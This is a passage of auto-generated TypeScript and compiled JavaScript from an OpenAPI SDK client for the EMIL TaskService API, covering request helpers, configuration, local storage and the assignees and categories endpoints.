| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { Configuration } from "./configuration"; | ||
| import { RequiredError, RequestArgs } from "./base"; | ||
| import { AxiosInstance, AxiosResponse } from 'axios'; | ||
| import { URL, URLSearchParams } from 'url'; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const DUMMY_BASE_URL = 'https://example.com' | ||
| /** | ||
| * | ||
| * @throws {RequiredError} | ||
| * @export | ||
| */ | ||
| export const assertParamExists = function (functionName: string, paramName: string, paramValue: unknown) { | ||
| if (paramValue === null || paramValue === undefined) { | ||
| throw new RequiredError(paramName, `Required parameter ${paramName} was null or undefined when calling ${functionName}.`); | ||
| } | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const setApiKeyToObject = async function (object: any, keyParamName: string, configuration?: Configuration) { | ||
| if (configuration && configuration.apiKey) { | ||
| const localVarApiKeyValue = typeof configuration.apiKey === 'function' | ||
| ? await configuration.apiKey(keyParamName) | ||
| : await configuration.apiKey; | ||
| object[keyParamName] = localVarApiKeyValue; | ||
| } | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const setBasicAuthToObject = function (object: any, configuration?: Configuration) { | ||
| if (configuration && (configuration.username || configuration.password)) { | ||
| object["auth"] = { username: configuration.username, password: configuration.password }; | ||
| } | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const setBearerAuthToObject = async function (object: any, configuration?: Configuration) { | ||
| if (configuration && configuration.accessToken) { | ||
| const accessToken = typeof configuration.accessToken === 'function' | ||
| ? await configuration.accessToken() | ||
| : await configuration.accessToken; | ||
| object["Authorization"] = configuration.getBearerToken(accessToken); | ||
| } | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const setOAuthToObject = async function (object: any, name: string, scopes: string[], configuration?: Configuration) { | ||
| if (configuration && configuration.accessToken) { | ||
| const localVarAccessTokenValue = typeof configuration.accessToken === 'function' | ||
| ? await configuration.accessToken(name, scopes) | ||
| : await configuration.accessToken; | ||
| object["Authorization"] = configuration.getBearerToken(localVarAccessTokenValue); | ||
| } | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const setSearchParams = function (url: URL, ...objects: any[]) { | ||
| const searchParams = new URLSearchParams(url.search); | ||
| for (const object of objects) { | ||
| for (const key in object) { | ||
| if (Array.isArray(object[key])) { | ||
| searchParams.delete(key); | ||
| for (const item of object[key]) { | ||
| searchParams.append(key, item); | ||
| } | ||
| } else { | ||
| searchParams.set(key, object[key]); | ||
| } | ||
| } | ||
| } | ||
| url.search = searchParams.toString(); | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const serializeDataIfNeeded = function (value: any, requestOptions: any, configuration?: Configuration) { | ||
| const nonString = typeof value !== 'string'; | ||
| const needsSerialization = nonString && configuration && configuration.isJsonMime | ||
| ? configuration.isJsonMime(requestOptions.headers['Content-Type']) | ||
| : nonString; | ||
| return needsSerialization | ||
| ? JSON.stringify(value !== undefined ? value : {}) | ||
| : (value || ""); | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const toPathString = function (url: URL) { | ||
| return url.pathname + url.search + url.hash | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const createRequestFunction = function (axiosArgs: RequestArgs, globalAxios: AxiosInstance, BASE_PATH: string, configuration?: Configuration) { | ||
| return <T = unknown, R = AxiosResponse<T>>(axios: AxiosInstance = globalAxios, basePath: string = BASE_PATH) => { | ||
| const axiosRequestArgs = {...axiosArgs.options, url: (configuration?.basePath || basePath) + axiosArgs.url}; | ||
| return axios.request<T, R>(axiosRequestArgs); | ||
| }; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export interface IStorageConverter<D, SD> { | ||
| toStorageData( data: D ): SD; | ||
| fromStorageData( storageData: SD ): D; | ||
| } | ||
| export interface IStorage { | ||
| get<T>( key: string, converter?: IStorageConverter<T, any> ): T | null; | ||
| set<T>( key: string, value: T, converter?: IStorageConverter<T, any> ): void; | ||
| } | ||
| export class LocalStorage implements IStorage { | ||
| readonly storage: Storage; | ||
| constructor() { | ||
| this.storage = localStorage; | ||
| } | ||
| get<T>( key: string, converter?: IStorageConverter<T, any> ): T | null { | ||
| const jsonValue = this.storage.getItem( key ); | ||
| if ( jsonValue === null ) { | ||
| return null; | ||
| } | ||
| const value = JSON.parse( jsonValue ); | ||
| if ( converter !== undefined ) { | ||
| return converter.fromStorageData( value ); | ||
| } else { | ||
| return value as T; | ||
| } | ||
| } | ||
| set<T>( key: string, value: T, converter?: IStorageConverter<T, any> ): void { | ||
| let valueToStore: any = value; | ||
| if ( converter !== undefined ) { | ||
| valueToStore = converter.toStorageData( value ); | ||
| } | ||
| const jsonValue = JSON.stringify( valueToStore ); | ||
| this.storage.setItem( key, jsonValue ); | ||
| } | ||
| } | ||
| let _defaultStorage: IStorage = null; | ||
| export const defaultStorage = (): IStorage => { | ||
| return _defaultStorage || (_defaultStorage = new LocalStorage()); | ||
| }; |
+118
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export interface ConfigurationParameters { | ||
| apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>); | ||
| username?: string; | ||
| password?: string; | ||
| accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>); | ||
| basePath?: string; | ||
| baseOptions?: any; | ||
| formDataCtor?: new () => any; | ||
| } | ||
| export class Configuration { | ||
| /** | ||
| * parameter for apiKey security | ||
| * @param name security name | ||
| * @memberof Configuration | ||
| */ | ||
| apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>); | ||
| /** | ||
| * parameter for basic security | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| username?: string; | ||
| /** | ||
| * parameter for basic security | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| password?: string; | ||
| /** | ||
| * parameter for oauth2 security | ||
| * @param name security name | ||
| * @param scopes oauth2 scope | ||
| * @memberof Configuration | ||
| */ | ||
| accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>); | ||
| /** | ||
| * override base path | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| basePath?: string; | ||
| /** | ||
| * base options for axios calls | ||
| * | ||
| * @type {any} | ||
| * @memberof Configuration | ||
| */ | ||
| baseOptions?: any; | ||
| /** | ||
| * The FormData constructor that will be used to create multipart form data | ||
| * requests. You can inject this here so that execution environments that | ||
| * do not support the FormData class can still run the generated client. | ||
| * | ||
| * @type {new () => FormData} | ||
| */ | ||
| formDataCtor?: new () => any; | ||
| /** | ||
| * parameter for automatically refreshing access token for oauth2 security | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| refreshToken?: string; | ||
| constructor(param: ConfigurationParameters = {}) { | ||
| this.apiKey = param.apiKey; | ||
| this.username = param.username; | ||
| this.password = param.password; | ||
| this.accessToken = param.accessToken; | ||
| this.basePath = param.basePath; | ||
| this.baseOptions = param.baseOptions; | ||
| this.formDataCtor = param.formDataCtor; | ||
| } | ||
| /** | ||
| * Check if the given MIME is a JSON MIME. | ||
| * JSON MIME examples: | ||
| * application/json | ||
| * application/json; charset=UTF8 | ||
| * APPLICATION/JSON | ||
| * application/vnd.company+json | ||
| * @param mime - MIME (Multipurpose Internet Mail Extensions) | ||
| * @return True if the given MIME is JSON, false otherwise. | ||
| */ | ||
| public isJsonMime(mime: string): boolean { | ||
| const jsonMime: RegExp = new RegExp('^(application\/json|[^;/ \t]+\/[^;/ \t]+[+]json)[ \t]*(;.*)?$', 'i'); | ||
| return mime !== null && (jsonMime.test(mime) || mime.toLowerCase() === 'application/json-patch+json'); | ||
| } | ||
| /** | ||
| * Returns "Bearer" token. | ||
| * @param token - access token. | ||
| * @return Bearer token. | ||
| */ | ||
| public getBearerToken(token?: string): string { | ||
| return ('' + token).startsWith("Bearer") ? token : "Bearer " + token; | ||
| } | ||
| } |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export * from './api/assignees-api'; | ||
| export * from './api/categories-api'; | ||
| export * from './api/default-api'; | ||
| export * from './api/hub-spot-api'; | ||
| export * from './api/statuses-api'; | ||
| export * from './api/tasks-api'; |
+35
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| var desc = Object.getOwnPropertyDescriptor(m, k); | ||
| if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { | ||
| desc = { enumerable: true, get: function() { return m[k]; } }; | ||
| } | ||
| Object.defineProperty(o, k2, desc); | ||
| }) : (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| o[k2] = m[k]; | ||
| })); | ||
| var __exportStar = (this && this.__exportStar) || function(m, exports) { | ||
| for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p); | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| __exportStar(require("./api/assignees-api"), exports); | ||
| __exportStar(require("./api/categories-api"), exports); | ||
| __exportStar(require("./api/default-api"), exports); | ||
| __exportStar(require("./api/hub-spot-api"), exports); | ||
| __exportStar(require("./api/statuses-api"), exports); | ||
| __exportStar(require("./api/tasks-api"), exports); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| import { RequestArgs, BaseAPI } from '../base'; | ||
| import { ListAssigneesResponseClass } from '../models'; | ||
| /** | ||
| * AssigneesApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export declare const AssigneesApiAxiosParamCreator: (configuration?: Configuration) => { | ||
| /** | ||
| * Retrieves a list of distinct assignees from tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List assignees | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listAssignees: (authorization?: string, expand?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| }; | ||
| /** | ||
| * AssigneesApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export declare const AssigneesApiFp: (configuration?: Configuration) => { | ||
| /** | ||
| * Retrieves a list of distinct assignees from tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List assignees | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listAssignees(authorization?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListAssigneesResponseClass>>; | ||
| }; | ||
| /** | ||
| * AssigneesApi - factory interface | ||
| * @export | ||
| */ | ||
| export declare const AssigneesApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => { | ||
| /** | ||
| * Retrieves a list of distinct assignees from tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List assignees | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listAssignees(authorization?: string, expand?: string, options?: any): AxiosPromise<ListAssigneesResponseClass>; | ||
| }; | ||
| /** | ||
| * Request parameters for listAssignees operation in AssigneesApi. | ||
| * @export | ||
| * @interface AssigneesApiListAssigneesRequest | ||
| */ | ||
| export interface AssigneesApiListAssigneesRequest { | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof AssigneesApiListAssignees | ||
| */ | ||
| readonly authorization?: string; | ||
| /** | ||
| * Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @type {string} | ||
| * @memberof AssigneesApiListAssignees | ||
| */ | ||
| readonly expand?: string; | ||
| } | ||
| /** | ||
| * AssigneesApi - object-oriented interface | ||
| * @export | ||
| * @class AssigneesApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export declare class AssigneesApi extends BaseAPI { | ||
| /** | ||
| * Retrieves a list of distinct assignees from tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List assignees | ||
| * @param {AssigneesApiListAssigneesRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof AssigneesApi | ||
| */ | ||
| listAssignees(requestParameters?: AssigneesApiListAssigneesRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListAssigneesResponseClass, any, {}>>; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __extends = (this && this.__extends) || (function () { | ||
| var extendStatics = function (d, b) { | ||
| extendStatics = Object.setPrototypeOf || | ||
| ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || | ||
| function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; | ||
| return extendStatics(d, b); | ||
| }; | ||
| return function (d, b) { | ||
| if (typeof b !== "function" && b !== null) | ||
| throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); | ||
| extendStatics(d, b); | ||
| function __() { this.constructor = d; } | ||
| d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); | ||
| }; | ||
| })(); | ||
| var __assign = (this && this.__assign) || function () { | ||
| __assign = Object.assign || function(t) { | ||
| for (var s, i = 1, n = arguments.length; i < n; i++) { | ||
| s = arguments[i]; | ||
| for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||
| t[p] = s[p]; | ||
| } | ||
| return t; | ||
| }; | ||
| return __assign.apply(this, arguments); | ||
| }; | ||
| var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { | ||
| function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } | ||
| return new (P || (P = Promise))(function (resolve, reject) { | ||
| function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } | ||
| function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } | ||
| function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } | ||
| step((generator = generator.apply(thisArg, _arguments || [])).next()); | ||
| }); | ||
| }; | ||
| var __generator = (this && this.__generator) || function (thisArg, body) { | ||
| var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; | ||
| return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; | ||
| function verb(n) { return function (v) { return step([n, v]); }; } | ||
| function step(op) { | ||
| if (f) throw new TypeError("Generator is already executing."); | ||
| while (g && (g = 0, op[0] && (_ = 0)), _) try { | ||
| if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; | ||
| if (y = 0, t) op = [op[0] & 2, t.value]; | ||
| switch (op[0]) { | ||
| case 0: case 1: t = op; break; | ||
| case 4: _.label++; return { value: op[1], done: false }; | ||
| case 5: _.label++; y = op[1]; op = [0]; continue; | ||
| case 7: op = _.ops.pop(); _.trys.pop(); continue; | ||
| default: | ||
| if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } | ||
| if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } | ||
| if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } | ||
| if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } | ||
| if (t[2]) _.ops.pop(); | ||
| _.trys.pop(); continue; | ||
| } | ||
| op = body.call(thisArg, _); | ||
| } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } | ||
| if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; | ||
| } | ||
| }; | ||
| var __importDefault = (this && this.__importDefault) || function (mod) { | ||
| return (mod && mod.__esModule) ? mod : { "default": mod }; | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.AssigneesApi = exports.AssigneesApiFactory = exports.AssigneesApiFp = exports.AssigneesApiAxiosParamCreator = void 0; | ||
| var axios_1 = __importDefault(require("axios")); | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| var common_1 = require("../common"); | ||
| // @ts-ignore | ||
| var base_1 = require("../base"); | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| var url_1 = require("url"); | ||
| var FormData = require('form-data'); | ||
| /** | ||
| * AssigneesApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| var AssigneesApiAxiosParamCreator = function (configuration) { | ||
| var _this = this; | ||
| return { | ||
| /** | ||
| * Retrieves a list of distinct assignees from tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List assignees | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listAssignees: function (authorization, expand, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| localVarPath = "/taskservice/v1/assignees"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.AssigneesApiAxiosParamCreator = AssigneesApiAxiosParamCreator; | ||
| /** | ||
| * AssigneesApi - functional programming interface | ||
| * @export | ||
| */ | ||
| var AssigneesApiFp = function (configuration) { | ||
| var localVarAxiosParamCreator = (0, exports.AssigneesApiAxiosParamCreator)(configuration); | ||
| return { | ||
| /** | ||
| * Retrieves a list of distinct assignees from tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List assignees | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listAssignees: function (authorization, expand, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.listAssignees(authorization, expand, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.AssigneesApiFp = AssigneesApiFp; | ||
| /** | ||
| * AssigneesApi - factory interface | ||
| * @export | ||
| */ | ||
| var AssigneesApiFactory = function (configuration, basePath, axios) { | ||
| var localVarFp = (0, exports.AssigneesApiFp)(configuration); | ||
| return { | ||
| /** | ||
| * Retrieves a list of distinct assignees from tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List assignees | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listAssignees: function (authorization, expand, options) { | ||
| return localVarFp.listAssignees(authorization, expand, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.AssigneesApiFactory = AssigneesApiFactory; | ||
| /** | ||
| * AssigneesApi - object-oriented interface | ||
| * @export | ||
| * @class AssigneesApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| var AssigneesApi = /** @class */ (function (_super) { | ||
| __extends(AssigneesApi, _super); | ||
| function AssigneesApi() { | ||
| return _super !== null && _super.apply(this, arguments) || this; | ||
| } | ||
| /** | ||
| * Retrieves a list of distinct assignees from tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List assignees | ||
| * @param {AssigneesApiListAssigneesRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof AssigneesApi | ||
| */ | ||
| AssigneesApi.prototype.listAssignees = function (requestParameters, options) { | ||
| var _this = this; | ||
| if (requestParameters === void 0) { requestParameters = {}; } | ||
| return (0, exports.AssigneesApiFp)(this.configuration).listAssignees(requestParameters.authorization, requestParameters.expand, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| return AssigneesApi; | ||
| }(base_1.BaseAPI)); | ||
| exports.AssigneesApi = AssigneesApi; |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| import { RequestArgs, BaseAPI } from '../base'; | ||
| import { CreateCategoryRequestDto } from '../models'; | ||
| import { CreateCategoryResponseClass } from '../models'; | ||
| import { GetCategoryResponseClass } from '../models'; | ||
| import { ListCategoriesResponseClass } from '../models'; | ||
| import { PatchCategoryRequestDto } from '../models'; | ||
| import { PatchCategoryResponseClass } from '../models'; | ||
| /** | ||
| * CategoriesApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export declare const CategoriesApiAxiosParamCreator: (configuration?: Configuration) => { | ||
| /** | ||
| * This will create a category. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the category | ||
| * @param {CreateCategoryRequestDto} createCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createCategory: (createCategoryRequestDto: CreateCategoryRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * This will delete a task category by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the category | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteCategory: (code: string, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * Get category by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the category | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the category. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getCategory: (code: string, authorization?: string, expand?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * Retrieves a list of categories. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List categories | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listCategories: (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * This will partially update a category by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the category | ||
| * @param {string} code | ||
| * @param {PatchCategoryRequestDto} patchCategoryRequestDto | ||
